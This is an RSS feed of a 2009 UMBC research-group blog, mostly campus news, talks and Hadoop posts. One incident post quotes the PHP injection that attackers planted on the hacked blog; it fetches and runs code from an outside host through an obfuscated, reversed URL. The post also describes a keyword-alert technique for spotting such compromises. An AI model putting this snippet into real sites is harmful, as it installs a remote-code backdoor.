<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>UMBC ebiquity &#187; UMBC</title>
	<atom:link href="http://ebiquity.umbc.edu/blogger/category/umbc/feed/" rel="self" type="application/rss+xml" />
	<link>http://ebiquity.umbc.edu/blogger</link>
	<description>EBB is the ebiquity research group\\\'s blog at the University of Maryland, Baltimore County (UMBC).  We focus on technologies that facilitate the design, implementation and control of distributed, intelligent information systems -- mobile and pervasive computing, ad hoc networking, multiagent systems, knowledge representation and reasoning, and the semantic web.  As the tides of technology ebb and flow, we hope the good ideas wash up on our beach and the bad ones drift back out to sea.</description>
	<lastBuildDate>Fri, 20 Nov 2009 13:50:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Roesch on Effective Network Security in a Dynamic World</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/09/03/roesch-on-effective-network-security-in-a-dynamic-world/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/09/03/roesch-on-effective-network-security-in-a-dynamic-world/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 19:02:49 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[UMBC]]></category>
		<category><![CDATA[IDS]]></category>
		<category><![CDATA[intrusion detection]]></category>
		<category><![CDATA[snort]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=2409</guid>
		<description><![CDATA[Martin Roesch will speak on Effective Network Security in a Dynamic World to kick off UMBC&#8217;s 10th Annual Visionaries in IT forum on Wednesday September 30.
Martin Roesch, a respected authority on intrusion prevention and detection technology and forensics, will discuss why today&#8217;s network security isn&#8217;t getting the job done. He will also share his vision [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Martin_Roesch">Martin Roesch</a> will speak on <a href="http://www.umbc.edu/visionaries/">Effective Network Security in a Dynamic World</a> to kick off UMBC&#8217;s 10th Annual Visionaries in IT forum on Wednesday September 30.</p>
<p>Martin Roesch, a respected authority on intrusion prevention and detection technology and forensics, will discuss why today&#8217;s network security isn&#8217;t getting the job done. He will also share his vision on where network security is heading in the future.  Why must network security be intelligent to be effective? Why must it provide full network visibility, relevant context, and automated impact assessment and IPS tuning? How can network security adapt to dynamic networks and threats in real time?</p>
<p>Roesch is the founder and CTO of <a href="http://www.sourcefire.com/">Sourcefire</a>, a network security company based in Columbia MD.  Roesch is also well known as the creator of the widely used <a href="http://www.snort.org/">Snort</a> network intrusion detection and prevention system.</p>
<p>The breakfast meeting is free and open to the public, but registration is required.  It will take place at the Westin BWI hotel (<a href="http://www.bing.com/maps/default.aspx?v=2&#038;FORM=LMLTCP&#038;cp=39.205588~-76.692295&#038;style=r&#038;lvl=15&#038;tilt=-90&#038;dir=0&#038;alt=-1000&#038;phx=0&#038;phy=0&#038;phscl=1&#038;ss=ypid.YN403x33996797~pg.1&#038;encType=1">map</a>, 1110 Old Elkridge Landing Road, Linthicum, MD 21090, (443) 577-2300) 7:30am – 9:00am on Wednesday 30 September 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/09/03/roesch-on-effective-network-security-in-a-dynamic-world/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>UMBC tops US News and Word Report list of rising national universities</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/08/20/umbc-tops-us-news-word-report-list-of-rising-national-universities/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/08/20/umbc-tops-us-news-word-report-list-of-rising-national-universities/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 11:42:16 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[UMBC]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=2357</guid>
		<description><![CDATA[I&#8217;m very gratified to see UMBC recognized in the U.S. News and World Report annual report on America&#8217;s Best Colleges.  UMBC was ranked first on the list of &#8220;up-and-coming&#8221; national universities and fourth on the list of national universities committed to undergraduate education.  UMBC was actually tied for fourth with Stanford on the [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m very gratified to see UMBC recognized in the U.S. News and World Report annual report on <a href="http://colleges.usnews.rankingsandreviews.com/best-colleges">America&#8217;s Best Colleges</a>.  UMBC was ranked first on the list of &#8220;up-and-coming&#8221; national universities and fourth on the list of national universities committed to undergraduate education.  UMBC was actually tied for fourth with Stanford on the list of schools most committed to undergraduate teaching, but I think an appropriate tie breaker would be chess and UMBC has always dominated Stanford in the <a href="http://en.wikipedia.org/wiki/Pan_American_Intercollegiate_Team_Chess_Championship">Pan American Intercollegiate Team Chess Championship</a>.</p>
<p>Most of the details are only available if you purchase the report, but there are stories in today&#8217;s <a href="http://www.baltimoresun.com/news/education/bal-md.newrankings20aug20,0,1600799.story">Baltimore Sun</a> and <a href="http://www.washingtonpost.com/wp-dyn/content/article/2009/08/19/AR2009081904284.html">Washington Post</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/08/20/umbc-tops-us-news-word-report-list-of-rising-national-universities/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ebiquity Google alert tripwires triggered</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/05/21/ebiquity-google-alert-tripwires-triggered/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/05/21/ebiquity-google-alert-tripwires-triggered/#comments</comments>
		<pubDate>Thu, 21 May 2009 14:47:17 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Ebiquity]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[splog]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1860</guid>
		<description><![CDATA[Yesterday we discovered that our ebiquity blog had been hacked.  It looks like a vulnerability in our old Wordpress installation was exploited to add the following code to the top of our blog&#8217;s main page.
 < ?php $site = create_function('','$cachedir="/tmp/"; $param="qq"; $key=$_GET[$param]; $rand="1239aef"; $said=23; $type=1; $stprot="http://blogwp.info"; '.file_get_contents(strrev("txt.mrahp/elpmaxe/deliated/ofni.pwgolb//:ptth"))); $site(); ?> 
This code caused URLs like [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday we discovered that our ebiquity blog had been hacked.  It looks like a vulnerability in our old Wordpress installation was exploited to add the following code to the top of our blog&#8217;s main page.</p>
<blockquote><p> < ?php $site = create_function('','$cachedir="/tmp/"; $param="qq"; $key=$_GET[$param]; $rand="1239aef"; $said=23; $type=1; $stprot="http://blogwp.info"; '.file_get_contents(strrev("txt.mrahp/elpmaxe/deliated/ofni.pwgolb//:ptth"))); $site(); ?> </p></blockquote>
<p>This code caused URLs like http://ebiquity.umbc.edu/?qq=1671 to redirect to a spam page.  We&#8217;ve upgraded the blog to the latest Wordpress release, which hopefully will prevent this exploit from being used again.  (Notice the reversed URL &#8212; LOL!)</p>
<p>We discovered the problem though a clever trick I read about last year on a site I&#8217;ve forgotten (maybe <a href="http://www.blogstorm.co.uk/how-to-use-google-alerts-to-find-out-if-your-site-gets-hacked/">here</a>).  We created several Google alerts triggered by the appearance of spam-related words on pages apparently hosted by ebiquity.umbc.edu.  For example:</p>
<ul>
<li> adult OR girls OR sex OR sexx OR XXX OR porn OR pornography site:ebiquity.umbc.edu</li>
<li> viagra OR cialis OR levitra OR Phentermine OR Xanax site:ebiquity.umbc.edu</li>
</ul>
<p>I would get several false positives a month from these alerts triggered by non-spam entries on our site.  In fact, *this* post will generate a false positive.  But yesterday I got a true positive.  Looking at the log files, I think I got the alert within a few hours of when our blog was hacked.  So I am happy to say that this worked and worked well.  Without this alert, it might have taken weeks to notice the problem.</p>
<p><center><br />
<img src="http://ebiquity.umbc.edu/blogger/wp-content/uploads/2009/05/picture-3-300x209.png" alt="Google alert for a hacked website" title="Google alert for a hacked website" width="300" height="209" align="center" class="aligncenter size-medium wp-image-1866" /><br />
</center></p>
<p>The results of this <a href="http://www.google.com/search?hl=en&#038;safe=off&#038;q=%22%3A%3A+Online+Drugstore%22+qq+site%3A.edu&#038;btnG=Search">Google search</a> reveal many compromised blogs from the .edu domain.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/05/21/ebiquity-google-alert-tripwires-triggered/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>UMBC Digital Entertainment Conf. Sat 25 April 2009</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/04/21/umbc-digital-entertainment-conf-sat-25-april-2009/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/04/21/umbc-digital-entertainment-conf-sat-25-april-2009/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 04:45:55 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Games]]></category>
		<category><![CDATA[UMBC]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1828</guid>
		<description><![CDATA[ The 4th annual UMBC Digital Entertainment Conference will be held 10-6 Saturday, April 25, 2009 in Lecture hall 2.  This event is organized by the UMBC Game Developers Club and is free and open to the public.  This year’s conference will feature speakers from local studios who will talk about programming, game [...]]]></description>
			<content:encoded><![CDATA[<p><a href='http://ebiquity.umbc.edu/blogger/wp-content/uploads/2009/04/decflyer.jpg'><img src="http://ebiquity.umbc.edu/blogger/wp-content/uploads/2009/04/decflyer.jpg" alt="" title="UMBC Digital Entertainment Conference" align="right" class="alignright size-thumbnail wp-image-1827" width="200" height="252" /></a> The 4th annual <a href="http://umbcgdc.org/dec">UMBC Digital Entertainment Conference</a> will be held 10-6 Saturday, April 25, 2009 in Lecture hall 2.  This event is organized by the <a href="http://umbcgdc.org/">UMBC Game Developers Club</a> and is free and open to the public.  This year’s conference will feature speakers from local studios who will talk about programming, game design and art in game development, including:</p>
<ul>
<li> Justin Boswell, Senior Programmer, Firaxis </li>
<li> Barry Caudill, Executive Producer, Firaxis </li>
<li> Dave Inscore, Studio Art Director, Big Huge Games </li>
<li> Eric Jordan, Programmer, Firaxis </li>
<li> Martin Kau, Concept Artist, Big Huge Games </li>
<li> Jon Shafer, Designer/Programmer, Firaxis </li>
</ul>
<p>You can find more information and RSVP on the <a href="http://www.facebook.com/event.php?eid=83282486816&#038;ref=nf">FaceBook DEC page</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/04/21/umbc-digital-entertainment-conf-sat-25-april-2009/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Akshay on Twitter in the NYT</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/04/15/akshay-on-twitter-in-the-nyt/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/04/15/akshay-on-twitter-in-the-nyt/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 11:56:09 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Ebiquity]]></category>
		<category><![CDATA[Social media]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1824</guid>
		<description><![CDATA[We were happy to see recent UMBC alumnus Akshay Java&#8217;s work on Twitter is mentioned in an article, Utility in the Jumble of Tweets, in yesterday&#8217;s New York Times.
 &#8220;Some developers are creating tools to help companies keep an eye on the buzz. Akshay Java, a scientist at Microsoft, is trying to figure out a [...]]]></description>
			<content:encoded><![CDATA[<p>We were happy to see recent UMBC alumnus <a href="http://ebiquity.umbc.edu/person/html/Akshay/Java/">Akshay Java&#8217;s</a> work on Twitter is mentioned in an article, <a href="http://www.nytimes.com/2009/04/14/technology/internet/14twitter.html">Utility in the Jumble of Tweets</a>, in yesterday&#8217;s New York Times.</p>
<blockquote><p> &#8220;Some developers are creating tools to help companies keep an eye on the buzz. Akshay Java, a scientist at Microsoft, is trying to figure out a way to identify which experts are most influential on given topics by automatically analyzing the content of their tweets and who is in their Twitter network. Companies like Microsoft could use that information to figure out which twitterers they should contact to create buzz about a new product.&#8221;  </p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/04/15/akshay-on-twitter-in-the-nyt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tutorial: Hadoop on Windows with Eclipse</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/04/09/hadoop-on-windows-with-eclipse/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/04/09/hadoop-on-windows-with-eclipse/#comments</comments>
		<pubDate>Thu, 09 Apr 2009 16:35:06 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[High performance computing]]></category>
		<category><![CDATA[MC2]]></category>
		<category><![CDATA[Multicore Computation Center]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Semantic Web]]></category>
		<category><![CDATA[cloud computing]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1821</guid>
		<description><![CDATA[Hadoop has become one of the most popular frameworks to exploit parallelism on a computing cluster. You don&#8217;t actually need access to a cluster to try Hadoop, learn how to use it, and develop code to solve your own problems.  
UMBC Ph.D student Vlad Korolev has written an excellent tutorial, Hadoop on Windows with [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Hadoop">Hadoop</a> has become one of the most popular frameworks to exploit parallelism on a computing cluster. You don&#8217;t actually need access to a cluster to try Hadoop, learn how to use it, and develop code to solve your own problems.  </p>
<p>UMBC Ph.D student <a href="http://ebiquity.umbc.edu/person/html/Vladimir/Korolev/">Vlad Korolev</a> has written an excellent tutorial, <a href="http://ebiquity.umbc.edu/Tutorials/Hadoop/">Hadoop on Windows with Eclipse</a>, showing how to install and use Hadoop on a single computer running Microsoft Windows.  It also covers the Eclipse Hadoop plugin, which enables you to create and run Hadoop projects from Eclipse.  In addition to step by step instructions, the tutorial has short videos documenting the process.  </p>
<p>If you want to explore Hadoop and are comfortable developing Java programs in Eclipse on a Windows box, this tutorial will get you going.  Once you have mastered Hadoop and had developed your first project using it, you can go about finding a cluster to run it on.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/04/09/hadoop-on-windows-with-eclipse/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Twitter vs. Facebook: fad vs. need?</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/04/03/twitter-vs-facebook-fad-vs-need/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/04/03/twitter-vs-facebook-fad-vs-need/#comments</comments>
		<pubDate>Fri, 03 Apr 2009 14:52:42 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[UMBC]]></category>
		<category><![CDATA[Zeynep Tufekci]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1817</guid>
		<description><![CDATA[Earlier this week the Baltimore Sun&#8217;s Andrew Ratner had a story on Twitter, When did Twitter take over the universe?. The story had this interesting quote from UMBC&#8217;s Zeynep Tufekci:

Some people who study technology aren&#8217;t sure Twitter will endure.
&#8220;Frankly, I think a lot of twittering is somewhat faddish, whereas I never thought Facebook was. &#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>Earlier this week the Baltimore Sun&#8217;s Andrew Ratner had a story on Twitter, <a href="http://www.baltimoresun.com/features/bal-to.ratner31mar31,0,2369641.column">When did Twitter take over the universe?</a>. The story had this interesting quote from UMBC&#8217;s <a href="http://userpages.umbc.edu/~zeynep/">Zeynep Tufekci</a>:</p>
<blockquote><p>
Some people who study technology aren&#8217;t sure Twitter will endure.</p>
<p>&#8220;Frankly, I think a lot of twittering is somewhat faddish, whereas I never thought Facebook was. &#8230; People I interviewed and surveyed would talk of serious feeling of deprivation without Facebook and I&#8217;ve hardly heard anyone say that about twitter,&#8221; Zeynep Tufekci, an assistant professor who teaches the sociology of technology at the University of Maryland, Baltimore County, wrote in an e-mail. &#8220;Will people Twitter five years from now? Perhaps, but I would not be surprised if they did not, or at least as much.&#8221;
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/04/03/twitter-vs-facebook-fad-vs-need/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Scantegrity cryptographic voting system to be used in binding governmental election</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/04/02/scantegrity-cryptographic-voting-system-to-be-used-in-binding-governmental-election/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/04/02/scantegrity-cryptographic-voting-system-to-be-used-in-binding-governmental-election/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 20:14:05 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[UMBC]]></category>
		<category><![CDATA[voting]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1816</guid>
		<description><![CDATA[This November will be the first time any end-to-end cryptographic system will be used in a binding governmental election.
UMBC Professor Alan Sherman and his students have been helping develop the Scantegrity open source election verification technology for optical scan voting systems. It uses privacy preserving confirmation numbers to allow each voter to verify her vote [...]]]></description>
			<content:encoded><![CDATA[<p>This November will be the first time any end-to-end cryptographic system will be used in a binding governmental election.</p>
<p>UMBC Professor <a href="http://umbc.edu/~sherman/">Alan Sherman</a> and his students have been helping develop the <a href="http://www.scantegrity.org/">Scantegrity</a> open source election verification technology for optical scan voting systems. It uses privacy preserving confirmation numbers to allow each voter to verify her vote is counted and that all the votes were counted correctly.</p>
<p>The group has been working with <a href="http://en.wikipedia.org/wiki/Takoma_Park,_Maryland">Takoma Park MD</a> to use this in a binding governmental election later this year.  Alan recently wrote:</p>
<blockquote><p> &#8220;On Saturday April 11, there will be a mock election in Takoma Park, MD, using the Scantegrity II high-integrity voting system being developed in part at the UMBC Cyber Defense Lab.  Anyone is welcome to come and vote &#8211; polls will be open 10am-2pm in the Community Center at 7500 Maple Ave.  This mock election is preparation for the Nov 2009 municipal election in Takoma Park which will also use Scantegrity &#8211; the first time any end-to-end cryptographic system will have been used in a binding governmental election.&#8221;  </p></blockquote>
<p>Here&#8217;s the text a short article on the election from the <a href="http://www.takomaparkmd.gov/news/newsletter/2009/April09.pdf">April 2009 Takoma Park newsletter</a>.</p>
<blockquote><p> This Arbor Day: Plant the Seeds for Election Verifiability</p>
<p>Election integrity is a major issue both nationally and internationally.  During the City’s annual Arbor Day celebration, Takoma Park will try out what may be one solution.  From 10 a.m. until 2 p.m. on April 11, City residents and their families and friends are invited to participate in a mock election administered by the City and its Board of Elections. The point of this mock election is to give voters an opportunity to test out and provide feedback to the City on the voting system it will use in the November 2009 municipal elections.</p>
<p>First among the many characteristics that set this system apart from those previously used by the City is that voters will be able to confirm that their ballots were counted.</p>
<p>As part of their ballot, voters will receive a confirmation code that they can write down, take home and check online to make sure their votes were counted.  The confirmation number does not say how you voted and your vote remains private. What it does say, however, is that your vote is included in the final tally and that the machine read your vote correctly.</p>
<p>The system is paper-based and works like an optical scan voting system, making it easy to use. The only difference is that when you vote, instead of a completely black bubble, you will see the confirmation number appear as shown in the illustration above.</p>
<p>Writing down and checking the confirmation number is optional.  So, this Arbor Day, while enjoying the festivities, drop by the Community Center Azalea Room to see how the system works. Try it out, ask questions, give feedback, and enjoy the refreshments!</p>
<p>To obtain more information on the Arbor Day Mock Election, visit the City’s website at www.takomaparkmd.  gov. Questions may also be addressed to the City Clerk’s office at 301-891-7267 or Clerk@takomagov.org.  </p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/04/02/scantegrity-cryptographic-voting-system-to-be-used-in-binding-governmental-election/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>UMBC Alumni reception at National Cryptologic Musuem 3/25</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/03/18/umbc-alumni-reception-at-national-cryptologic-musuem-325/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/03/18/umbc-alumni-reception-at-national-cryptologic-musuem-325/#comments</comments>
		<pubDate>Wed, 18 Mar 2009 22:05:49 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[UMBC]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1812</guid>
		<description><![CDATA[Here&#8217;s an item of possible interest to UMBC alumni in the area.  The UMBC Alumni Association is holding a special tour and evening of networking at the National Cryptologic Musuem from 6-8pm on Wednesday March 25.  If you have never visited the museum, it&#8217;s an opportunity to see some very interesting exhibits on [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s an item of possible interest to UMBC alumni in the area.  The UMBC Alumni Association is holding a special tour and evening of networking at the <a href="http://www.nsa.gov/about/cryptologic_heritage/museum/">National Cryptologic Musuem</a> from 6-8pm on Wednesday March 25.  If you have never visited the museum, it&#8217;s an opportunity to see some very interesting exhibits on ciphers and codes, including a working <a href="http://en.wikipedia.org/wiki/Enigma_machine">enigma machine</a>.  UMBC President <a href="http://en.wikipedia.org/wiki/Freeman_A._Hrabowski_III">Freeman Hrabowski</a> will be there to meet with and talk to the participants.  You can get more information and <a href="https://retrievernet.umbc.edu/site/apps/ka/rg/register.asp?c=euLVJ9MRKxH&#038;b=4967977&#038;en=4nKxEFMfE3JGIPPiH2JDKMNtHnIMJLOrHiKIKPMrFhJPKXNEG">register</a> for the event online or contact <a href="mailto:moniquea@umbc.edu">Monique Armstrong</a> (phone: 410-455-1879).</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/03/18/umbc-alumni-reception-at-national-cryptologic-musuem-325/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cloudera offers a simpler Hadoop distribution</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/03/18/cloudera-offers-a-simpler-hadoop-distribution/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/03/18/cloudera-offers-a-simpler-hadoop-distribution/#comments</comments>
		<pubDate>Wed, 18 Mar 2009 18:50:18 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[High performance computing]]></category>
		<category><![CDATA[MC2]]></category>
		<category><![CDATA[Multicore Computation Center]]></category>
		<category><![CDATA[Semantic Web]]></category>
		<category><![CDATA[Social media]]></category>
		<category><![CDATA[cloud computing]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1811</guid>
		<description><![CDATA[ We are early in the era of big data (including social and/or semantic) and more and more of us need the tools to handle it.  Monday&#8217;s NYT had a story, Hadoop, a Free Software Program, Finds Uses Beyond Search, on Hadoop and Cloudera, a new startup that offering its own Hadoop distribution that [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.cloudera.com/distribution" border="0"><img src="http://www.cloudera.com/sites/default/files/download-ch-box-large.png" title="Download Cloudera's Hadoop distribution" align="right" border="0" /></a> We are early in the era of <i>big data</i> (including social and/or semantic) and more and more of us need the tools to handle it.  Monday&#8217;s NYT had a story, <a href="http://www.cloudera.com/">Hadoop, a Free Software Program, Finds Uses Beyond Search</a>, on Hadoop and <a href="http://www.cloudera.com/">Cloudera</a>, a new startup that offering its own Hadoop distribution that is designed to beasier to install and configure.</p>
<blockquote><p> &#8220;In the span of just a couple of years, Hadoop, a free software program named after a toy elephant, has taken over some of the world’s biggest Web sites. It controls the top search engines and determines the ads displayed next to the results. It decides what people see on Yahoo’s homepage and finds long-lost friends on Facebook.&#8221;<br />
&#8230;<br />
Three top engineers from Google, Yahoo and Facebook, along with a former executive from Oracle, are betting it will. They announced a start-up Monday called Cloudera, based in Burlingame, Calif., that will try to bring Hadoop’s capabilities to industries as far afield as genomics, retailing and finance.  The company has just released its own version of Hadoop. The software remains free, but Cloudera hopes to make money selling support and consulting services for the software. It has only a few customers, but it wants to attract biotech, oil and gas, retail and insurance customers to the idea of making more out of their information for less.  </p></blockquote>
<p>Cloudera&#8217;s distribution, curently based on Hadoop v0.18.3, uses RPM and comes with a Web-based configuration aide.  The company also offers some free basic training in mapReduce concepts, using Hadoop, developing appropriate algorithms and using Hive.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/03/18/cloudera-offers-a-simpler-hadoop-distribution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
